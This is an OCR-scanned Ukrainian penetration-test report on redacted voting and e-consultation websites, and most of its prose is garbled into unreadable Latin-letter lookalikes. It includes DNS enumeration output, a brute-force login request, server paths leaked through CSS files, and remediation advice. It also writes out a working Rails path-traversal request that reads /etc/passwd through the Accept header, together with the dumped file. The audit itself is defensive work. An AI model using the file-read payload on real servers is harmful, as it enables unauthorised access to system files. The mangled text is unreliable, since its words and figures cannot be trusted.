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Pe3iome

OpraHizaudia "XXXXXXXXXXXXXX" yknana yrogy 3 'ITFB.com.ua" Ha

NpoBefeHHA TEeCTYy Ha NMPOHUKHEHHA AJ19 BU3HAYEeHHSA CXWUJIbHOCTI CauTiB

https://XXXXXXXXXXXXXX Ta hitps://XXXXXXXXXXXXX A0 Bpas3nuMBocTen. Bci Aaii
6ynn NpoBefeHi TakMM YMHOM, LWO6 iMiTyBaTM 30BHILUHbOIO 3/7I0BMUCHUKA,

AKMIN CKOIB Li/IbOBY aTaKy Ha canTu 3 HaCTYMHOK METOHO:

e Po3kpuTK 6a3y AaHMX KOPUCTYBaYiB i OTPMMATN MOX/IUBICTb BNIMBATY

Ha KifIbKiCTb rosiociB Npu npoBefeHHi rofloCyBaHHSA 3a NPOEKTH.
Takox 6yna nocTaBneHa fgogaTkoBa MeTa:

e [lepekoHaTUCA B HaAAIMHOCTI 3aXMUCTy pecypciB nepes 1X 3anyckom B

po6ouy ekcnyaTadito.

Bynn 3po6neHi 3ycunna no BUSIBJIEHHIO | BUKOPUCTAHHIO CNAbKMX MicCLb
6e3neKkun, sKi MOXYTb A03BOMMTM BigAaseHMM 3/10BMUCHWKaAM OTpuMaTu

HecaHKLiOHOBaHMI AOCTYN A0 AlaHMX PO3TallOBaHUX Ha pecypcax.

ATaKu NpoBOAUNCSA 3 PiBHEM AOCTYNY, AKUIA MaB 61 3BUYaNHNIA KOPUCTYyBaY

IHTepHeTy.

Bci BUNpobyBaHHs i Ail NpoBOAUINCSA B KOHTPOJ/IbOBaHNX YMOBAX.


https://xxxxxxxxxxxxxx/

IHiYiauia aTaku

Hocnip)xeHHs

OTpumMaHHS iHpopmauil i BABHaYeHHS BEKTOPIB aTakM.

Y cnpob6i BU3HAYMTU MOTEHLIMHY MOBEPXHKO aTakym MW AO0CHiAXyBasnu

3aranbHi 3anmcm DNS ana AOMEHIB XXXXXXXXXXXX Ta XXXXXXXXXXXXXXX

HaMip nosiaraB y TOMY, LI.I,O6 peTesIbHO CUMYNOBATHU I'IOBeLI,iHKy 3/1T0BMUCHUKaA

6e3 6yab-AKOI BHYTPIiLLHbOI iHhopMaLil.



:~$ dnsrecon -d EETNENEENE
Performing General Enumeration of Domain: NS
All nameservers failed to answer the DNSSEC query for maminssshessiss
All nameservers failed to answer the NS query for mEiE———
:~$ dnsrecon -d EEEEEE————
Performing General Enumeration of Domain: SERiuwEEESN
DNSSEC is not configured for NN
SOA nsl.ukrnames.com 104.131.20.233
NS ns3.ukrnames.com 195.64.155.0
NS ns2.ukrnames.com 195.123.1.2
NS nsl.ukrnames.com 104.131.20.233
NS ns4.ukrnames.ua 195.123.1.222
MX ouewssweRIeNE .mail.protection.outlook.com 104.47.8.36
MX selessstessleniis. mail.protection.outlook.com 104.47.9.36
A seslesssiessis 91.197.59.38
TXT I MS=ms61075475
TXT D v-spfl include:spf.protection.outlook.com -all

:~$ dnsrecon -d TEETWEEE:
Performing General Enumeration of Domain: S
All nameservers failed to answer the DNSSEC query for i
All nameservers failed to answer the NS query for TEEGTEEENNY
:~$ dnsrecon -d EEEEEEE
Performing General Enumeration of Domain: WEENGNENEENE
DNSSEC is not configured for SEENGGENEEE
SOA nsl.ukrnames.com 104.131.20.233
NS ns3.ukrnames.com 195.64.155.0
NS ns2.ukrnames.com 195.123.1.2
NS nsl.ukrnames.com 104.131.20.233
NS ns4.ukrnames.ua 195.123.1.222
MX UUEWEEEEWC .mail.protection.outlook.com 104.47.8.36
MX I .mail.protection.outlook.com 104.47.9.36
A mammtsmis ©1.197.59.38
TXT ooyl MS=ms61075475
TXT PN v-spfl include:spf.protection.outlook.com -all

:~$ dnsrecon -d
Performing General Enumeration of Domain: HUNESEEEEEEEEE
DNSSEC is not configured for NN

SOA nsl.ukrnames.com 104.131.20.233
Could not Resolve NS Records for NS
Could not Resolve MX Records for sy

91.197.59.38

ManioHok 1.laeHTudikauis DNS 3anucie.



Micna ineHTudikauii cepepiB iMeH, M1 cnpobyBanv BUKOHaTK TpaHcdep DNS
30H i BUABMAN, L0 CepBep iMeH NpaBU/IbHO HanalwWTOBaHWUM Ta 3abOpOHSE

34INCHIOBATN NOBHY | HeEOOMeEXeHY nepegady DNS 30H.

Performing General Enumeration of Domain:
Checking for Zone Transfer for (I nane server
Resolving SOA Record

[+] SOA nsl.ukrnames.com 104.131.20.233

Resolving NS Records
NS Servers found:
NS ns2.ukrnames.com 195.123.1.2
NS nsl.ukrnames.com 104.131.20.233
NS ns4.ukrnames.ua 195.123.1.222
NS ns3.ukrnames.com 195.64.155.9
Removing any duplicate NS server IP Addresses ...

Trying NS server 104.131.20.233

[+] 104.131.20.233 Has port 53 TCP Open
Zone Transfer Failed!
Zone transfer error: REFUSED

Trying NS server 195.64.155.0

+] 195.64.155.@ Has port 53 TCP Open
Zone Transfer Failed!
Zone transfer error: REFUSED

Trying NS server 195.123.1.2

+] 195.123.1.2 Has port 53 TCP Open
Zone Transfer Failed!
Zone transfer error: REFUSED

Performing General Enumeration of Domain:
Checking for Zone Transfer for [N >~
Resolving SOA Record
SOA nsi.ukrnames.com 104.131.20.233
Resolving NS Records
Could not Resolve NS Records
Removing any duplicate NS server IP Addresses...

Trying NS server 104.131.20.233
[+] 104.131.20.233 Has port 53 TCP Open
Zone Transfer Failed!
Zone transfer error: NOTAUTH
Checking for Zone Transfer for Mnam servers
Resolving SOA Record
) SOA nsi.ukrnames.com 104.131.20.233
Resolving NS Records
Could not Resolve NS Records
Removing any duplicate NS server IP Addresses...

Trying NS server 104.131.20.233
(+] 104.131.20.233 Has port 53 TCP Open
Zone Transfer Failed!

ManioHok 2. MepeBipka KoH@irypauii 3oH DNS.

Hani My nepeBipMnn HasiBHICTb BPa3/IMBOCTEN B Be6G-OTOYEHHI cepBepa

https://XXXXXXXXX i BUSABUNM BUKOPWUCTAHHS 3aCTapifiol i CXUNbHOI A0

BpasnueocTen Bepcil "Rails", ska ao3Bonse 3a AOMNOMOrow BigAaneHoro
BUKOPUCTAHHA AOBINbHOrO KoAy - YMTatm KOHQigeHUinHy iHpopmauito 3
danniB posTalloBaHMX Ha cepBepi O6yAb-AKOMY He aBTOPU30BaHOMY B

CUCTeMIi KopucTyBa4esBi.



Request
_J Raw T}4eaders T+4ex ]

GET fusers/password HTTP/1.1
Host: - ... _.____
Referer: https:// .
User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101
Firefox/68.0

Accept: ../../ .. fete/passwd] ]

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

1

MantoHok 3. Mpuknag HTTP 3anuTy ANng oTpUMaHHA CIUCKY CUCTEMHUX 06/1iKOBUX 3anuciB

Response

J Raw I Headers I Hex I Render ]

HTTP/1.1 404 Not Found

Server: nginx/1.12.2

Date: Tue, 03 Mar 2020 07:44:04 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Frame-Options: SAMEORIGIM

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Cache-Control: no-cache

Set-Cookie: ahoy_visitor=800e814b-70cE- 497c-8945- fe2c52e3b1565; path=/; expires=Thu, 03 Mar 2022 07:44:04 -0000; secure
Set-Cookie: ahoy_visit=6baed24f-fbf0-494f-9714- 203c26fa0425; path=/; expires=Tue, 03 Mar 2020 11:44:04 -0000; secure
X-Request-Id: 4d2f8d46-5d47-4d1d-9fcd-6d204alaacss

X-Runtime: 0.00B439

Strict-Transport-Security: max-age=15552000; includeSubDomains

Content-Length: 1307

root:x:0:0:root:/root: /binsbash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon: /sbin:/sbin/nologin

adm: x:3:4:adm: /var/adm: /sbin/nologin

Lp:x:4:7:1p:/var/spool/Lpd: /sbin/nologin

sync:x:5:0:sync:/shin: /bin/sync
shutdown:x:6:0:shutdown: /shin: /shin/shutdown

halt:x:7:0:halt:/shin: /shin/halt

mail:x:8:12:mail: /var/spool/mail: /sbin/nologin
operator:x:11:0:operator:/root: /shin/nologin
games:x:12:100:games: /usr/games: /sbhin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbhin/nologin
nobody:x:99:99: Nobody: /: /shin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/shin/nologin
systemd-network:x:192:192:systemd Metwork Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin

tss:x:59:59: Account used by the trousers package to sandbox the tcsd daemon:/dev,/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/shin/nologin
chrony:x:997:995: : /var/Lib/chrony: /shin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql: /bin/bash
nginx:x:996:994:Nginx web server:/var/Lib/nginx:/sbin/nologin
redis:x:995:992:Redis Database Server:/var/lib/redis:/sbhin/nologin
elasticsearch:x:994:991:elasticsearch user:/home/elasticsearch:/shin/nologin
tepdump:x:72:72::/:/sbin/nologin

ManioHok 4. Bignoeipgb cepBepa MiCTUTb CIMCOK CUCTEMHMUX 06JTIKOBUX 3anuciB

Be6-0ToueHHs cepBepa https://XXXXXXXXXXXXX BUKOPUCTOBYE Bpa3/iMBy
Bepcito 6ibniotekun Javascript "jQuery" 1.12.4 y HaCTyNnHOMY CKpPU1MTI.




* jQuery JavaScript Library vilEEN
* http://jquery.com/

* Includes Sizzle.js
* http://sizzlejs.com/

* Copyright jQuery Foundation and other contributors
* Released under the MIT license
* http://jquery.org/license

* Date: 2816-85-28T17:177

ManioHok 5. lNepesipka Bepcii jQuery.

CtopiHka BxoAy Ha pecypc https://xxxxxxxxxxx/users/sign_in 6yna
NPOTEeCTOBaHa YNC/IEHHUMM cripob6amMu BXOAY Mif OAHUM | TUM Xe
KopuctyBayeMm. Mu BUSBUAWY, LLO CTOPiHKA He 3axuLleHa Big cnpob nigbopy
napons (brute force). [JonaTKOBO peKOMeHAYETbCS peanizyBaTu 6J10KyBaHHS
06/1IKOBOr0 3anucy Nicns NeBHOI KilbKOCTi CNpPo6 BBEA,EHHS HEBIPHOIO
napons.

POST /users/sign_in HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: https://_ __ . __,

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 290

Host: e-dem.ua

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

authenticity token=WQNiYhPQjUqfrfQd432p26CMdlcpEcwHSHINYCOCYBq4a%2BRPYBLMUoVCmSBYYdpfRuBBtz2/2
/STYrTZWIaY rw==&commit=%DO0%A3%DO%B2%D1%96%D0%BI%D1%82%DO%B8%20%DO%B2%20%D1%81%DO0%B8%D1%81%D1%82

%D0%B5%DO%BCED1%83&user [email ] =oDVGW28d&user [password]=ugNqrH7p&user[remember me]=0&utf8=%26
%23x2713;

ManioHok 6. YUncneHHi cnpo6u aBTopu3auii

Pecypc htips://XXXXXXXXXXXXX MICTUTb * .CcsS dannu, BMICT AKUX pO3KPUBAE

KOH®iAeHUiNnHY iHhOopMaLito CTOCOBHO BHYTPILLUHbOT PansioBoi CTPYKTYpU

cepBepy.

o hitps://XXXXXXXXXXXXXXXXXXXX/assets/application-
408d62273da519e24277d0059059ad18f3ad47004e5d5290347¢2bd1f050cdc8.css

o https://XXXXXXXXXXXXXXXXXXXX/assets/header-
d95d6eaead83a1c4f4602fd53d8c910e683fcb0420a8278ae4b8c39bce16c840.css




o  hittps://XXO0XXXXXXXXXXXXXXX/assets/module_index-
365bbe560e70f93d6e7be33e727e03e38f48d1220515c61ac3bbee07a7a9431a.css

/% line 383, Jusr/share/nginx/e-consultation/app/assets/stylesheets/comments scss */

.send-comment-button .send-comment-title {
color: white;
display: inline-block;

}

/= line 1, glsr/sbare/ngln/e consyltatlion/anp/assata/otylosngeto/nolle. scos — L
.polls-wrapper {
background: #f4f5f7;

L

ManioHok 7. PO3KpUTTSA BHYTPILLHbOI CTPYKTYpU cepBepa
3 uiel iHpopMaLil 3T0BMUCHUK OTPUMYE TOYHE po3TallyBaHHA web-goaaTtka
y hannosin cuctemi Ha cepBepi i MOXe BUKOPUCTOBYBATH Lie AN NofanbLlumx

aTak.

Cnpo6u BMKOHaATU pi3Hi TMNM "XSS" abo "CSRF" Ha pecypcax - He panu

3a[0BiNbHOro pesynbTraTy. Pecypcu He CXUNbHI A0 LbOro Tuny BpassIMBOCTEMN.

3aranibHUNU peUTUHI 6e3neKun

Ko>kHi Bpa3nuBOCTI, ika 6yna BusABfeHa nif vyac TeCTyBaHHS,
NpU3HaYaeTbCA NEBHUM CTYNiHb pU3nKy. Kputepil ansa uiel knacuoikauir
HaBedeHi HMXYe.

Bucokuit cTyniHb Hu3bkui cTyniHb
Bucokumn ctyniHb pusnky BpasnusicTb cepeHbOro Yci iHwWi BpasnmBoCTi,
npuM3HavaeTbCA, AKLLO PU3KKY He NpU3BOUTb AKi He MOXYTb
eKcnJyaTauis BpasnnBOCTI 6e3nocepeaHbo A0 NpU3BecTn Ao

MO)Ke Mpu3BecTu A0 KoMnpomeTaLuii um KomMrnpomeTtau,il
KoMMpomeTauil gaHuXx, HecaHKLIiOHOBaHOro AOCTyny, | pecypcy, ane fAKi
AOCTYMHOCTI cepBepa uun ane Hafae MOXXJIMBICTb @60 | MOXYTb BYTH
NoCnyru, fOBISIbHOroO iHpopMaLito, Aka MOXKe 6yTU | BUKOPUCTaHI
BMKOHaAHHA KoAay, BMKOpPUCTaHa NOTEHLiNHUM NOTEHLINHUM
MaHInyntoBaHHA AaHUMMU. 3N10BMUCHWNKOM AJ15 3N10BMUCHUKOM AJ15




Croau BXoAUTb BiaMOBaA

nopgasiblioro BUKOpUCTaHHA

CNy>6u, cnabki abo cTaHAAPTHI | CNISIbHO 3 iHLWKMMW

naponi, BiACYTHICTb
lWndpyBaHHSA, 4OCTYN A0
AOBINbHUX annie abo
KOHDigEeHLINHMX faHNX

Bpa3MBUMM CUTYaLli MU

Hanpuknag, He3axuLleHumn
AOCTYN A0 HEKPUTUYHUX
dannis, nepenik
HEKPUTUYHUX KaTasori.,
PO3KPUTTS MOBHMUX LLNAXIB.

A1 KOMNpoMeTaLil pecypcy.

360py iHpopMauii Ta
(hopMyBaHHS BEKTOPIB
aTak.

PiBeHb pU3NKY

CepenHii

Ha faHn1M MOMEHT cepBiC OLIHIETLCA AK CepefHbO KPUTUYHNIA, OCKINbKK
6yno BMSBNEHO AeKiNbKa BpasnMBUX CUTYyaLin 3 cepefHiM CTYNEHEM PU3SKKY,
LLIO AO3BOMAKOTL BigAaneHun AoCcTyn A0 KOHGIAEHUINHNX faHUX.
PekoMeHaauil Woao X BUNpaBsieHHA HaBeeHi HMXKYe.

PekomeHpaauii

https://XX000000000XXX XXX

https://X00XXXXXXXX

Hepgonik

BupiweHHs Hepgonik

BupiweHHs




BukopucTtaHHA BpasnmBol
Javascript 6i6nioteku

OHoBuTHM "jQuery" o
aKTyasnbHOI Bepcil
abo 3acTocyBaTu
naTy
https://github.com/j
query/jquery/issues
/2432

BukopuctaHHsa
BpasnuBoI BepcCil
"Ruby on Rails"”

OHoBUTKM "Ruby on
Rails" po aktyanbHoi
Bepcii abo
3acTocyBaTy narty
https://groups.google.
com/forum/#!topic/ru

byonrails-
security/pFRKI96Sm8

Q

PosronoleHHsa KoHdigeHUinHoI
iHbopmauii B css dannax

3abopoHUTH
BilOOPaXKEHHS Liel
iHpopmauii ans
KOpUCTyBauiB
pecypcy

BucHoBoOK

KOHKpeTHiI Uini Tecty Ha NPOHMKHEHHSA 6yniv chOpPMYIbOBaHi HaCTyNMHUM

YNHOM:

[epeBipUTU MOXIMBICTb PO3KPUTTS 6a3n KOPUCTYBaYiB, MOXJIUBICTb

BMJIMBY Ha 3MiHY KiJIbKOCTIi rosiociB Ta NepekoHaTucs B HaAiMHOCTI 3aXUCTY

pecypciB nepep, ix 3anyckom B pobo4y ekcrnsyaTau,ito.

LLini TecTy Ha NPOHUKHEHHS He 6YNN AOCATHYTI, TOMY Lo pecypcn XXXXXXXX

Ta XXXXXXXXX MaroTb AOCTaTHIN CTYNiHb 3aXUCTY HA AaHWUA MOMEHT Bij,

nopibHUX aTak.

Ba)kxnuBo Big3HA4YNTW, LLLO HE3BaXKaro4un Ha AOCTaTHIN CTYNiHb 3aXUCTy

pecypciB Ha flaHUN MOMEHT, MU HaCTINHO PeKOMeHAYEMO BaM repes,

3arMyCKOM CUCTEMM B POOOYY eKCrlyaTalito BXUTU BiANOBIAHNX 3yCU/Ib AN

YCYHEHHSA BUABJIEHUX HELOJIKIB.
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